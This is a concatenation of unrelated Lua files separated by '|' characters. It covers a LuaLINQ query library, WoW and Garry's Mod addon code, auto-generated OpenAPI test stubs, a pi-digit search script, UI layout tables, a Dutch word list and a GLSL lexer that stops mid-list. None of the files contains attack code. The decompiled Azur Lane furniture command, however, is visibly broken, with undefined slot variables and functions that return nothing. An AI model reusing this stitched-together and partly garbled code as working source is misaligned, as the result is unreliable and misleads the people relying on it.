self.count = _count
self.sum = _sum
self.average = _average
self.dump = _dump
self.map = _map
self.foreach = _foreach
self.xmap = _xmap
self.toArray = _toArray
self.toDictionary = _toDictionary
self.toIterator = _toIterator
self.toTuple = _toTuple
-- shortcuts
self.each = _foreach
self.intersect = _intersection
self.intersectby = _intersectionby
self.intersectBy = _intersectionby
logq(self, "from")
return self
end
-- ============================================================
-- GENERATORS
-- ============================================================
-- Tries to autodetect input type and uses the appropriate from method
function from(auto)
if (auto == nil) then
return fromNothing()
elseif (type(auto) == "function") then
return fromIterator(auto)
elseif (type(auto) == "table") then
if (auto["classid_71cd970f_a742_4316_938d_1998df001335"] ~= nil) then
return auto
elseif (auto[1] == nil) then
return fromDictionary(auto)
elseif (type(auto[1]) == "function") then
return fromIteratorsArray(auto)
else
return fromArrayInstance(auto)
end
end
return fromNothing()
end
-- Creates a linq data structure from an array without copying the data for efficiency
function fromArrayInstance(collection)
return _new_lualinq("fromArrayInstance", collection)
end
-- Creates a linq data structure from an array copying the data first (so that changes in the original
-- table do not reflect here)
function fromArray(array)
local collection = { }
for k,v in ipairs(array) do
table.insert(collection, v)
end
return _new_lualinq("fromArray", collection)
end
-- Creates a linq data structure from a dictionary (table with non-consecutive-integer keys)
function fromDictionary(dictionary)
local collection = { }
for k,v in pairs(dictionary) do
local kvp = {}
kvp.key = k
kvp.value = v
table.insert(collection, kvp)
end
return _new_lualinq("fromDictionary", collection)
end
-- Creates a linq data structure from an iterator returning single items
function fromIterator(iterator)
local collection = { }
for s in iterator do
table.insert(collection, s)
end
return _new_lualinq("fromIterator", collection)
end
-- Creates a linq data structure from an array of iterators each returning single items
function fromIteratorsArray(iteratorArray)
local collection = { }
for _, iterator in ipairs(iteratorArray) do
for s in iterator do
table.insert(collection, s)
end
end
return _new_lualinq("fromIteratorsArray", collection)
end
-- Creates a linq data structure from a table of keys, values ignored
function fromSet(set)
local collection = { }
for k,v in pairs(set) do
table.insert(collection, k)
end
return _new_lualinq("fromIteratorsArray", collection)
end
-- Creates an empty linq data structure
function fromNothing()
return _new_lualinq("fromNothing", { } )
end
-- ============================================================
-- QUERY METHODS
-- ============================================================
-- Concatenates two collections together
function _concat(self, otherlinq)
local result = { }
for idx, value in ipairs(self.m_Data) do
table.insert(result, value)
end
for idx, value in ipairs(otherlinq.m_Data) do
table.insert(result, value)
end
return _new_lualinq(":concat", result)
end
-- Replaces items with those returned by the selector function or properties with name selector
function _select(self, selector)
local result = { }
if (type(selector) == "function") then
for idx, value in ipairs(self.m_Data) do
local newvalue = selector(value)
if (newvalue ~= nil) then
table.insert(result, newvalue)
end
end
elseif (type(selector) == "string") then
for idx, value in ipairs(self.m_Data) do
local newvalue = value[selector]
if (newvalue ~= nil) then
table.insert(result, newvalue)
end
end
else
loge("select called with unknown predicate type");
end
return _new_lualinq(":select", result)
end
-- Replaces items with those contained in arrays returned by the selector function
function _selectMany(self, selector)
local result = { }
for idx, value in ipairs(self.m_Data) do
local newvalue = selector(value)
if (newvalue ~= nil) then
for ii, vv in ipairs(newvalue) do
if (vv ~= nil) then
table.insert(result, vv)
end
end
end
end
return _new_lualinq(":selectMany", result)
end
-- Returns a linq data structure where only items for whose the predicate has returned true are included
function _where(self, predicate, refvalue, ...)
local result = { }
if (type(predicate) == "function") then
for idx, value in ipairs(self.m_Data) do
if (predicate(value, refvalue, from({...}):toTuple())) then
table.insert(result, value)
end
end
elseif (type(predicate) == "string") then
local refvals = {...}
if (#refvals > 0) then
table.insert(refvals, refvalue);
return _intersectionby(self, predicate, refvals);
elseif (refvalue ~= nil) then
for idx, value in ipairs(self.m_Data) do
if (value[predicate] == refvalue) then
table.insert(result, value)
end
end
else
for idx, value in ipairs(self.m_Data) do
if (value[predicate] ~= nil) then
table.insert(result, value)
end
end
end
else
loge("where called with unknown predicate type");
end
return _new_lualinq(":where", result)
end
-- Returns a linq data structure where only items for whose the predicate has returned true are included, indexed version
function _whereIndex(self, predicate)
local result = { }
for idx, value in ipairs(self.m_Data) do
if (predicate(idx, value)) then
table.insert(result, value)
end
end
return _new_lualinq(":whereIndex", result)
end
-- Return a linq data structure with at most the first howmany elements
function _take(self, howmany)
return self:whereIndex(function(i, v) return i <= howmany; end)
end
-- Return a linq data structure skipping the first howmany elements
function _skip(self, howmany)
return self:whereIndex(function(i, v) return i > howmany; end)
end
-- Zips two collections together, using the specified join function
function _zip(self, otherlinq, joiner)
otherlinq = from(otherlinq)
local thismax = #self.m_Data
local thatmax = #otherlinq.m_Data
local result = {}
if (thatmax < thismax) then thismax = thatmax; end
for i = 1, thismax do
result[i] = joiner(self.m_Data[i], otherlinq.m_Data[i]);
end
return _new_lualinq(":zip", result)
end
-- Returns only distinct items, using an optional comparator
function _distinct(self, comparator)
local result = {}
comparator = comparator or function (v1, v2) return v1 == v2; end
for idx, value in ipairs(self.m_Data) do
local found = false
for _, value2 in ipairs(result) do
if (comparator(value, value2)) then
found = true
end
end
if (not found) then
table.insert(result, value)
end
end
return _new_lualinq(":distinct", result)
end
-- Returns the union of two collections, using an optional comparator
function _union(self, other, comparator)
return self:concat(from(other)):distinct(comparator)
end
-- Returns the difference of two collections, using an optional comparator
function _except(self, other, comparator)
other = from(other)
return self:where(function (v) return not other:contains(v, comparator) end)
end
-- Returns the intersection of two collections, using an optional comparator
function _intersection(self, other, comparator)
other = from(other)
return self:where(function (v) return other:contains(v, comparator) end)
end
-- Returns the difference of two collections, using a property accessor
function _exceptby(self, property, other)
other = from(other)
return self:where(function (v) return not other:contains(v[property]) end)
end
-- Returns the intersection of two collections, using a property accessor
function _intersectionby(self, property, other)
other = from(other)
return self:where(function (v) return other:contains(v[property]) end)
end
-- ============================================================
-- CONVERSION METHODS
-- ============================================================
-- Converts the collection to an array
function _toIterator(self)
local i = 0
local n = #self.m_Data
return function ()
i = i + 1
if i <= n then return self.m_Data[i] end
end
end
-- Converts the collection to an array
function _toArray(self)
return self.m_Data
end
-- Converts the collection to a table using a selector functions which returns key and value for each item
function _toDictionary(self, keyValueSelector)
local result = { }
for idx, value in ipairs(self.m_Data) do
local key, value = keyValueSelector(value)
if (key ~= nil) then
result[key] = value
end
end
return result
end
-- Converts the lualinq struct to a tuple
function _toTuple(self)
return unpack(self.m_Data)
end
-- ============================================================
-- TERMINATING METHODS
-- ============================================================
-- Return the first item or default if no items in the colelction
function _first(self, default)
if (#self.m_Data > 0) then
return self.m_Data[1]
else
return default
end
end
-- Return the last item or default if no items in the colelction
function _last(self, default)
if (#self.m_Data > 0) then
return self.m_Data[#self.m_Data]
else
return default
end
end
-- Returns true if any item satisfies the predicate. If predicate is null, it returns true if the collection has at least one item.
function _any(self, predicate)
if (predicate == nil) then return #self.m_Data > 0; end
for idx, value in ipairs(self.m_Data) do
if (predicate(value)) then
return true
end
end
return false
end
-- Returns true if all items satisfy the predicate. If predicate is null, it returns true if the collection is empty.
function _all(self, predicate)
if (predicate == nil) then return #self.m_Data == 0; end
for idx, value in ipairs(self.m_Data) do
if (not predicate(value)) then
return false
end
end
return true
end
-- Returns the number of items satisfying the predicate. If predicate is null, it returns the number of items in the collection.
function _count(self, predicate)
if (predicate == nil) then return #self.m_Data; end
local result = 0
for idx, value in ipairs(self.m_Data) do
if (predicate(value)) then
result = result + 1
end
end
return result
end
-- Prints debug data.
function _dump(self)
print(_dumpData(self));
end
-- Returns a random item in the collection, or default if no items are present
function _random(self, default)
if (#self.m_Data == 0) then return default; end
return self.m_Data[math.random(1, #self.m_Data)]
end
-- Returns true if the collection contains the specified item
function _contains(self, item, comparator)
comparator = comparator or function (v1, v2) return v1 == v2; end
for idx, value in ipairs(self.m_Data) do
if (comparator(value, item)) then return true; end
end
return false
end
-- Calls the action for each item in the collection. Action takes 1 parameter: the item value.
-- If the action is a string, it calls that method with the additional parameters
function _foreach(self, action, ...)
if (type(action) == "function") then
for idx, value in ipairs(self.m_Data) do
action(value, from({...}):toTuple())
end
elseif (type(action) == "string") then
for idx, value in ipairs(self.m_Data) do
value[action](value, from({...}):toTuple())
end
else
loge("foreach called with unknown action type");
end
return self
end
-- Calls the accumulator for each item in the collection. Accumulator takes 2 parameters: value and the previous result of
-- the accumulator itself (firstvalue for the first call) and returns a new result.
function _map(self, accumulator, firstvalue)
local result = firstvalue
for idx, value in ipairs(self.m_Data) do
result = accumulator(value, result)
end
return result
end
-- Calls the accumulator for each item in the collection. Accumulator takes 3 parameters: value, the previous result of
-- the accumulator itself (nil on first call) and the previous associated-result of the accumulator(firstvalue for the first call)
-- and returns a new result and a new associated-result.
function _xmap(self, accumulator, firstvalue)
local result = nil
local lastval = firstvalue
for idx, value in ipairs(self.m_Data) do
result, lastval = accumulator(value, result, lastval)
end
return result
end
-- Returns the max of a collection. Selector is called with values and should return a number. Can be nil if collection is of numbers.
function _max(self, selector)
if (selector == nil) then
selector = function(n) return n; end
end
return self:xmap(function(v, r, l) local res = selector(v); if (l == nil or res > l) then return v, res; else return r, l; end; end, nil)
end
-- Returns the min of a collection. Selector is called with values and should return a number. Can be nil if collection is of numbers.
function _min(self, selector)
if (selector == nil) then
selector = function(n) return n; end
end
return self:xmap(function(v, r, l) local res = selector(v); if (l == nil or res < l) then return v, res; else return r, l; end; end, nil)
end
-- Returns the sum of a collection. Selector is called with values and should return a number. Can be nil if collection is of numbers.
function _sum(self, selector)
if (selector == nil) then
selector = function(n) return n; end
end
return self:map(function(n, r) r = r + selector(n); return r; end, 0)
end
-- Returns the average of a collection. Selector is called with values and should return a number. Can be nil if collection is of numbers.
function _average(self, selector)
local count = self:count()
if (count > 0) then
return self:sum(selector) / count
else
return 0
end
end
return {
setLogLevel = setLogLevel,
from = from,
fromArrayInstance = fromArrayInstance,
fromArray = fromArray,
fromDictionary = fromDictionary,
fromIterator = fromIterator,
fromIteratorsArray = fromIteratorsArray,
fromSet = fromSet,
fromNothing = fromNothing,
}
|
AuctionatorSellingTabMixin = {}
function AuctionatorSellingTabMixin:OnLoad()
self:ApplyHiding()
self.BagListing:Init(self.BagDataProvider)
self.BuyFrame:Init()
end
function AuctionatorSellingTabMixin:ApplyHiding()
if not Auctionator.Config.Get(Auctionator.Config.Options.SHOW_SELLING_BAG) then
self.BagListing:Hide()
self.BagInset:Hide()
self.BuyFrame:SetPoint("TOPLEFT", self.BagListing, "TOPLEFT", 10, 10)
self.BuyFrame.HistoryButton:SetPoint("LEFT", AuctionFrameMoneyFrame, "RIGHT")
end
end
|
--[[
Mojang Authentication API
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
OpenAPI spec version: 2020-06-05
Generated by: https://openapi-generator.tech
]]
--[[
Unit tests for openapiclient.api.default_api
Automatically generated by openapi-generator (https://openapi-generator.tech)
Please update as you see appropriate
]]
describe("default_api", function()
local openapiclient_default_api = require "openapiclient.api.default_api"
-- unit tests for authenticate
describe("authenticate test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for invalidate
describe("invalidate test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for refresh
describe("refresh test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for siginout
describe("siginout test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for validate
describe("validate test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
end)
|
local PANEL = {}
AccessorFunc( PANEL, "m_strType", "Type" )
AccessorFunc( PANEL, "m_Character", "Char" )
/*---------------------------------------------------------
Init
---------------------------------------------------------*/
function PANEL:Init()
self:SetTextInset( 0, 0 )
end
/*---------------------------------------------------------
---------------------------------------------------------*/
function PANEL:SetType( strType )
self.m_strType = strType
if ( strType == "close" ) then self:SetChar( "r" )
elseif ( strType == "grip" ) then self:SetChar( "p" )
elseif ( strType == "down" ) then self:SetImage("icon16/arrow_down.png")
elseif ( strType == "up" ) then self:SetImage("icon16/arrow_up.png")
elseif ( strType == "updown" ) then self:SetChar( "v" )
elseif ( strType == "tick" ) then self:SetImage("icon16/accept.png")
elseif ( strType == "right" ) then self:SetImage("icon16/arrow_right.png")
elseif ( strType == "left" ) then self:SetImage("icon16/arrow_left.png")
elseif ( strType == "question" ) then self:SetChar( "s" )
elseif ( strType == "none" ) then self:SetChar( "" )
end
end
function PANEL:SetChar( strChar )
self.m_Character = strChar
self:SetText( strChar )
end
function PANEL:SetTextColorHovered( color )
self.HoverColor = color
end
function PANEL:Paint( w, h)
if ( self.m_bBackground ) then
local col = Color( 120, 120, 120, 255 )
if ( self:GetDisabled() ) then
col = Color( 100, 100, 100, 255 )
elseif ( self.Depressed ) then
col = Color( 110, 150, 250, 255 )
elseif ( self.Hovered ) then
col = self.HoverColor or Color( 150, 150, 150, 255 )
end
draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 230 ) )
draw.RoundedBox( 0, 1, 1, w-2, h-2, Color( col.r + 30, col.g + 30, col.b + 30 ) )
draw.RoundedBox( 0, 2, 2, w-4, h-4, col )
draw.RoundedBox( 0, 3, h*0.5, w-6, h-h*0.5-2, Color( 0, 0, 0, 40 ) )
end
end
/*---------------------------------------------------------
---------------------------------------------------------
function PANEL:ApplySchemeSettings()
self:SetFont("Marlett")
DLabel.ApplySchemeSettings( self )
end
*/
derma.DefineControl( "DSysButton", "System Button", PANEL, "DButton" )
|
local pi_text_file = io.open(arg[1], 'rb')
local pi_text = pi_text_file:read()
local red = string.char(27) .. '[31m'
local blue = string.char(27) .. '[34m'
local green = string.char(27) .. '[32m'
local reset = string.char(27) .. '[0m'
local s, e = string.find(pi_text, arg[2])
if not s then
print(red .. arg[2] .. reset .. ' was not found in ' .. blue .. 'pi' .. reset)
os.exit()
end
local gap = 10
local startgap = s - gap
local endgap = e + gap
if startgap < 1 then startgap = 1 end
if endgap > #pi_text then endgap = #pi_text end
startgap = string.sub(pi_text, startgap, s - 1)
endgap = string.sub(pi_text, e + 1, endgap)
search = string.sub(pi_text, s, e)
print(blue .. '... ' .. reset .. startgap .. red .. search .. reset .. endgap .. blue .. ' ...' .. reset)
|
slot0 = class("GetCanBePutFurnituresForThemeCommand", pm.SimpleCommand)
slot0.execute = function (slot0, slot1)
slot4 = slot1:getBody().callback
if slot1.getBody().theme:IsOccupyed(slot0.GetAllFloorFurnitures(), getProxy(DormProxy).floor) then
slot0.SortListForPut(slot3:GetUsableFurnituresForFloor(slot6, slot5))
if slot4 then
slot4(false, slot8)
end
else
slot9 = {}
for slot13, slot14 in pairs(Clone(slot8)) do
table.insert(slot9, slot14)
end
slot0.SortListForPut(slot9)
if slot4 then
slot4(true, slot9)
end
end
end
slot0.GetAllFloorFurnitures = function ()
slot0:GetCurrFloorHouse()
slot0.GetOtherFloorHouse({})
return
end
slot0.Insert = function (slot0, slot1)
for slot6, slot7 in pairs(slot2) do
slot0[slot7.id] = slot7
end
end
slot0.GetCurrFloorHouse = function (slot0)
slot0:Insert(getBackYardProxy(BackYardHouseProxy).getData(slot1))
end
slot0.GetOtherFloorHouse = function (slot0)
slot0:Insert(StartUpBackYardCommand.GetHouseByDorm({
furnitures = getProxy(DormProxy):getData().getOtherFloorFurnitrues(slot1, getProxy(DormProxy).floor)
}))
end
slot0.IsUsing = function (slot0)
GetCanBePutFurnituresForThemeCommand.GetCurrFloorHouse(slot1)
GetCanBePutFurnituresForThemeCommand.GetOtherFloorHouse({})
return slot0.id ~= "" and (slot0:IsUsing(slot1) or slot0:IsUsing(slot2))
end
slot0.SortListForPut = function (slot0)
slot1 = pg.furniture_data_template
table.sort(slot0, function (slot0, slot1)
if ((slot0.parent ~= 0 and 1) or 0) == ((slot1.parent ~= 0 and 1) or 0) then
if ((slot0[slot0.id] and slot0[slot0.id].type == Furniture.TYPE_STAGE and 1) or 0) == ((slot0[slot1.id] and slot0[slot1.id].type == Furniture.TYPE_STAGE and 1) or 0) then
return table.getCount(slot1.child or {}) < table.getCount(slot0.child or {})
else
return slot5 < slot4
end
else
return slot0.parent < slot1.parent
end
end)
end
return slot0
|
WireToolSetup.setCategory( "Input, Output/Data Transfer" )
WireToolSetup.open( "twoway_radio", "Two-way Radio", "gmod_wire_twoway_radio", nil, "Two-way Radios" )
if ( CLIENT ) then
language.Add( "Tool.wire_twoway_radio.name", "Two-Way Radio Tool (Wire)" )
language.Add( "Tool.wire_twoway_radio.desc", "Spawns a two-way radio for use with the wire system." )
language.Add( "Tool.wire_twoway_radio.0", "Primary: Create/Update Two-way Radio\nSecondary: Select a two-way radio to pair up with another two-way radio." )
language.Add( "Tool.wire_twoway_radio.1", "Select the second two-way radio." );
end
WireToolSetup.BaseLang()
WireToolSetup.SetupMax( 20 )
if (SERVER) then
ModelPlug_Register("radio")
end
TOOL.ClientConVar[ "model" ] = "models/props_lab/binderblue.mdl"
WireToolSetup.SetupLinking(true)
function TOOL.BuildCPanel(panel)
WireDermaExts.ModelSelect(panel, "wire_twoway_radio_model", list.Get( "Wire_radio_Models" ), 2, true)
end
|
local market_pin_map = require("qnFiles/qnPlist/hall/market_pin");
local rechargeItem=
{
name="rechargeItem",type=0,typeName="View",time=0,report=0,x=0,y=0,width=0,height=277,visible=1,fillParentWidth=1,fillParentHeight=0,nodeAlign=kAlignTopLeft,
{
name="itemBtn1",type=2,typeName="Button",time=78393075,report=0,x=40,y=4,width=374,height=251,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignLeft,file=market_pin_map['goods_bg.png'],
{
name="goodName",type=4,typeName="Text",time=78392078,report=0,x=0,y=5,width=153,height=34,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,fontSize=28,textAlign=kAlignCenter,colorRed=255,colorGreen=252,colorBlue=0
},
{
name="goodIconView",type=0,typeName="View",time=78392079,report=0,x=0,y=-30,width=196,height=168,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter
},
{
name="eventIconView",type=0,typeName="View",time=78392080,report=0,x=0,y=0,width=121,height=130,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft
},
{
name="priceView",type=0,typeName="View",time=99160546,x=0,y=11,width=340,height=64,nodeAlign=kAlignBottom,visible=1,fillParentWidth=0,fillParentHeight=0
},
{
name="award_bg",type=1,typeName="Image",time=90415308,report=0,x=-10,y=-10,width=99,height=98,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopRight,file=market_pin_map['award_bg.png'],
{
name="word",type=1,typeName="Image",time=90415431,report=0,x=0,y=16,width=57,height=36,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,file=market_pin_map['word_zeng.png']
},
{
name="award_view",type=0,typeName="View",time=90415696,report=0,x=0,y=50,width=60,height=30,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop
}
}
},
{
name="itemBtn2",type=2,typeName="Button",time=78393201,report=0,x=455,y=4,width=374,height=251,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignLeft,file=market_pin_map['goods_bg.png'],
{
name="goodName",type=4,typeName="Text",time=78393203,report=0,x=0,y=5,width=153,height=34,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,fontSize=28,textAlign=kAlignCenter,colorRed=255,colorGreen=252,colorBlue=0
},
{
name="goodIconView",type=0,typeName="View",time=78393204,report=0,x=0,y=-30,width=190,height=168,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter
},
{
name="eventIconView",type=0,typeName="View",time=78393205,report=0,x=0,y=0,width=121,height=130,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft
},
{
name="priceView",type=0,typeName="View",time=99160604,x=0,y=11,width=340,height=64,nodeAlign=kAlignBottom,visible=1,fillParentWidth=0,fillParentHeight=0
},
{
name="award_bg",type=1,typeName="Image",time=90415753,report=0,x=-10,y=-10,width=99,height=98,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopRight,file=market_pin_map['award_bg.png'],
{
name="word",type=1,typeName="Image",time=90415754,report=0,x=0,y=16,width=57,height=36,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,file=market_pin_map['word_zeng.png']
},
{
name="award_view",type=0,typeName="View",time=90415755,report=0,x=0,y=50,width=60,height=30,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop
}
}
},
{
name="itemBtn3",type=2,typeName="Button",time=78393189,report=0,x=866,y=4,width=374,height=251,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignLeft,file=market_pin_map['goods_bg.png'],
{
name="goodName",type=4,typeName="Text",time=78393191,report=0,x=0,y=5,width=153,height=34,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,fontSize=28,textAlign=kAlignCenter,colorRed=255,colorGreen=252,colorBlue=0
},
{
name="goodIconView",type=0,typeName="View",time=78393192,report=0,x=0,y=-30,width=190,height=168,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter
},
{
name="eventIconView",type=0,typeName="View",time=78393193,report=0,x=0,y=0,width=121,height=130,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft
},
{
name="priceView",type=0,typeName="View",time=99160626,x=0,y=11,width=340,height=64,nodeAlign=kAlignBottom,visible=1,fillParentWidth=0,fillParentHeight=0
},
{
name="award_bg",type=1,typeName="Image",time=90415760,report=0,x=-10,y=-10,width=99,height=98,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopRight,file=market_pin_map['award_bg.png'],
{
name="word",type=1,typeName="Image",time=90415761,report=0,x=0,y=16,width=57,height=36,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop,file=market_pin_map['word_zeng.png']
},
{
name="award_view",type=0,typeName="View",time=90415762,report=0,x=0,y=50,width=60,height=30,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTop
}
}
}
}
return rechargeItem;
|
local _, addon = ...;
-- https://onlinetexttools.com/split-text?input=&split-by-char=false&char=%20&split-by-regex=false®ex=%2F%5Cs%2B%2F&split-by-length=true&length=110&separator=%2C%5Cn&symbol-before-chunk=%22&symbol-after-chunk=%22
table.insert(addon.officialCourses, table.concat({
"!WOP:2!0x71D5986B!nsztiYrruCCtwxtsV(XUbwfbp8suXKdZSZm7oZy2ld7MeZOMSUmjHeXpYwtvVz6ANQ7QOQQNHEjEWC1lYIki5u2l(Xbb",
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"nrR5Djcg3yjHuC0vPeHOjH2Xu5CBUONoGhYdikVg9KAbZBnfQnUGyO1pzhl9Jubs0BU7jBy5wbQxuYdTqX5BPDGm(PsteKTGfj6ooev7oRuUIE",
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")8t8kdLVPhaFN8LImwGjdFoliiHmWkLavini0hlT0D1Lh238rwiGe30fWNBakj0jAarPeCmnna7I64S2A)3lMx(VUYRD5QFF9A3WEJZ3bF5HI5",
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"UTLqlPg4wivGvAs89bYxv6AV3V(lJ6Uh)3h4o39T)HHcsLbbYXsHqW7GB04ASlxgzGuh()xqw)ZV6unQ9oof57UWt(TVXrgkivhai7zohfw34k",
"yuOZyeMAla)iD6HgldX8xKHgQMRSCzO6Sh3s0205aInJCK1gtV(QhVmra77qUH7Eo)M79b4isDBC)5HSrQmBRRqyMNfMBfJprtGECRV05uzXUA",
"M3ZRXjp6Hp(SEl46Cr6sPFzeYEq640E5m1ZuTewO1ZxfZvDgSAUzAvOsUMhOCZCmSAHYfkrRqPOACbXydKmElNzN58HQjkm9ufRovPIqXcZo90",
"ZwS85cqlXfJur940uyOoN4Hz80U7GzVHUD1tTvaZPCKUXYZzMJA5DrV14Md2)nw)1CNvlonsyJBEmKXJcsgtn(H2OJt1RmbATEYEDtF6ug24a5",
"lKVSMQrIvQvtSih7WZDco13neO5rM)l"
}))
|
return {'vet','vetachtig','vetafzetting','vetarm','vetblad','vetbol','vetbuik','vetbult','vetconsumptie','vete','veter','veteraan','veterane','veteranenbeleid','veteranenleider','veteranenorganisatie','veteranenziekte','veterband','veterdrop','veteren','vetergat','veterinair','veterschoen','vetertje','vetgans','vetgedrukt','vetgehalte','vetgezwel','vetheid','vethuishouding','vetjes','vetkaars','vetklier','vetklomp','vetkrijt','vetkuif','vetkussen','vetlaag','vetlaars','vetleer','vetleren','vetlok','vetmesten','vetmester','vetmesting','veto','vetoog','vetorecht','vetoen','vetpercentage','vetplant','vetpot','vetrand','vetrijk','vetrol','vetschrift','vetsmelter','vetsmelterij','vetsmering','vetspuit','vetstaart','vetstof','vette','vetten','vetter','vettig','vettigheid','vetverdeling','vetvlek','vetvorming','vetvrij','vetweefsel','vetwei','vetweiden','vetweider','vetweiderij','vetzak','vetzucht','vetzuur','vetkrijtje','vetersluiting','vetpuistje','vetverbranding','vetmassa','vetzuursamenstelling','vetafbraak','vetafscheider','vetinname','vetklep','vetophoping','vetopslag','vetput','vetreserve','vetschort','vetspek','vetverlies','vetvoorraad','vetaanslag','vetstofwisseling','vetopname','vetvertering','vetpuist','veth','vette','veteranendag','vetachtige','vetarme','vetbladen','vetbuiken','veten','veteranen','veterde','vetergaten','veterinaire','veterinairs','veters','vetert','vetertjes','vetes','vetganzen','vetgedrukte','vetgehalten','vetgehaltes','vetgemest','vetgemeste','vetgezwellen','vetkaarsen','vetklompen','vetkussentjes','vetlaarzen','vetlagen','vetlokken','vetmest','vetmesters','vetmestte','vetmestten','vetos','vetogen','vetomlijnde','vetplanten','vetpotten','vetrijke','vetrolletjes','vetsmelterijen','vetst','vetste','vettere','vettige','vettiger','vettigere','vettigheden','vettigst','vettigste','vetvlekken','vetvrije','vetweide','vetweiders','vetzakken','vetzuren','vetbollen','vetbulten','veterschoenen','vetklieren','vetkuiven','vetkussens','vetranden','vetrollen','vetstoffen','vetweefsels','vetweidde','vetweiderijen','vetkrijtjes','vetkussentje','vetpuistjes','veteranes','vethuishoudingen','vetbolletjes','vetlaagje','vetophopingen','vetreserves','vetplantjes','vetrandje','vetrandjes','vetkleppen','vetputten','vetoogjes','vetafzettingen','vetbolletje','vetpercentages','vetrolletje','vetplantje','vetergaatjes','vetsmelters'}
|
-- Copyright 2006-2021 Mitchell. See LICENSE.
-- GLSL LPeg lexer.
local lexer = require('lexer')
local token, word_match = lexer.token, lexer.word_match
local P, S, R = lpeg.P, lpeg.S, lpeg.R
local lex = lexer.new('glsl', {inherit = lexer.load('cpp')})
-- Whitespace.
lex:modify_rule('whitespace', token(lexer.WHITESPACE, lexer.space^1))
-- Keywords.
lex:modify_rule('keyword', token(lexer.KEYWORD, word_match{
'attribute', 'const', 'in', 'inout', 'out', 'uniform', 'varying', 'invariant', 'centroid', 'flat',
'smooth', 'noperspective', 'layout', 'patch', 'sample', 'subroutine', 'lowp', 'mediump', 'highp',
'precision',
-- Macros.
'__VERSION__', '__LINE__', '__FILE__'
}) + lex:get_rule('keyword'))
-- Types.
-- LuaFormatter off
lex:modify_rule('type', token(lexer.TYPE,
S('bdiu')^-1 * 'vec' * R('24') +
P('d')^-1 * 'mat' * R('24') * ('x' * R('24')^-1) +
S('iu')^-1 * 'sampler' * R('13') * 'D' +
'sampler' * R('12') * 'D' * P('Array')^-1 * 'Shadow' +
(S('iu')^-1 * 'sampler' * (R('12') * 'DArray' +
word_match('Cube 2DRect Buffer 2DMS 2DMSArray 2DMSCubeArray'))) +
word_match('samplerCubeShadow sampler2DRectShadow samplerCubeArrayShadow')) +
-- LuaFormatter on
lex:get_rule('type') +
-- Functions.
token(lexer.FUNCTION, word_match{
'radians', 'degrees', 'sin', 'cos', 'tan', 'asin', 'acos', 'atan', 'sinh', 'cosh', 'tanh',
'asinh', 'acosh', 'atanh', 'pow', 'exp', 'log', 'exp2', 'log2', 'sqrt', 'inversesqrt', 'abs',
'sign', 'floor', 'trunc', 'round', 'roundEven', 'ceil', 'fract', 'mod', 'modf', 'min', 'max',
'clamp', 'mix', 'step', 'smoothstep', 'isnan', 'isinf', 'floatBitsToInt', 'floatBitsToUint',
'intBitsToFloat', 'uintBitsToFloat', 'fma', 'frexp', 'ldexp', 'packUnorm2x16', 'packUnorm4x8',
'packSnorm4x8', 'unpackUnorm2x16', 'unpackUnorm4x8', 'unpackSnorm4x8', 'packDouble2x32',
'unpackDouble2x32', 'length', 'distance', 'dot', 'cross', 'normalize', 'ftransform',
'faceforward', 'reflect', 'refract', 'matrixCompMult', 'outerProduct', 'transpose', 'determinant',
'inverse', 'lessThan', 'lessThanEqual', 'greaterThan', 'greaterThanEqual', 'equal', 'notEqual',
'any', 'all', 'not', 'uaddCarry', 'usubBorrow', 'umulExtended', 'imulExtended', 'bitfieldExtract',
'bitfildInsert', 'bitfieldReverse', 'bitCount', 'findLSB', 'findMSB', 'textureSize',
'textureQueryLOD', 'texture', 'textureProj', 'textureLod', 'textureOffset', 'texelFetch',
'texelFetchOffset', 'textureProjOffset', 'textureLodOffset', 'textureProjLod',
'textureProjLodOffset', 'textureGrad', 'textureGradOffset', 'textureProjGrad',
'textureProjGradOffset', 'textureGather', 'textureGatherOffset', 'texture1D', 'texture2D',
'texture3D', 'texture1DProj', 'texture2DProj', 'texture3DProj', 'texture1DLod', 'texture2DLod',
'texture3DLod', 'texture1DProjLod', 'texture2DProjLod', 'texture3DProjLod', 'textureCube',
'textureCubeLod', 'shadow1D', 'shadow2D', 'shadow1DProj', 'shadow2DProj', 'shadow1DLod',
'shadow2DLod', 'shadow1DProjLod', 'shadow2DProjLod', 'dFdx', 'dFdy', 'fwidth',
'interpolateAtCentroid', 'interpolateAtSample', 'interpolateAtOffset', 'noise1', 'noise2',
'noise3', 'noise4', 'EmitStreamVertex', 'EndStreamPrimitive', 'EmitVertex', 'EndPrimitive',
